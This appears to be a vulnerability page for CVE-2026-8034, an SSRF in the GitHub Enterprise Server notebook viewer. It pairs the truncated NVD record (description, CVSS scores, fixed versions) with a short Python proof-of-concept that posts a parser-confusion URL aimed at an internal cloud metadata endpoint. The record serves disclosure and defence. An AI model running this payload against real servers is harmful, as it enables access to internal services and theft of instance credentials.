CVE-2026-8034

import requests # Example PoC for CVE-2026-8034 # This demonstrates the parser confusion by using a crafted URL. # The validation layer might see "public.com" but the request library sees "internal.com". target_url = "https://[TARGET_GHE_HOST]/notebook/view" # Crafted payload exploiting parser confusion # Note: The specific bypass technique depends on the libraries used (e.g., urllib vs requests). # Common bypasses involve '@' or 'http://' ambiguities. malicious_payload = { "url": "http://attacker-controlled.com@internal-metadata-service/latest/meta-data/" } try: response = requests.post(target_url, data=malicious_payload, verify=False) if response.status_code == 200: print("[+] Potential SSRF successful. Response received:") print(response.text[:200]) # Print part of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-8034", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:37.230", "lastModified": "2026-05-11T17:18:27.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A server-side request forgery (SSRF) vulnerability was identified in the GitHub Enterprise Server notebook viewer that allowed an attacker to access internal services by exploiting URL parser confusion between the validation layer and the HTTP request library. The hostname validation used a different URL parser than the request library, enabling a crafted URL to pass validation while directing the request to an unintended host. Exploitation required network access to the GitHub Enterprise Server instance. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.16.18, 3.17.15, 3.18.9, 3.19.6, and 3.20.2. This vulnerability was reported via the GitHub Bug Bounty program."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-436"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.16.18", "matchCriteriaId": "30904527-43B5-453A-A669-7845C2643965"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.17.0", "versionEndExcluding": "3.17.15", "matchCriteriaId": "D594E173-80DE-4EC9-9E6C-8C78A80D1402"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18.0", "versionEndExcluding": "3.18.9", "matchCriteriaId": "2501EC91-4CD0-49F5-B76A-558EB5A5946C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.19.0", "versionEndExcluding": "3.19.6", "matchCriteriaId": "F2D6ABE3-EF68-4DDC-9846-9A891C859477"}, {"vulnerable": true, "criteria": "cpe:2.3:a:github:enterprise_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.20.0", "versionEndExcluding": "3.20.2", "matchCriteriaId": "FC8A09E8-5FFE-43F1-BC1A-14A298264D80"}]}]}], "references": [{"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.16.18", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.17.15", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.18.9", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://docs.github.com/en/[email protected]/admin/release-notes#3.19.6", "source": "[email protected]", "tags": ["Release Notes", "Vendor Adv ... (truncated)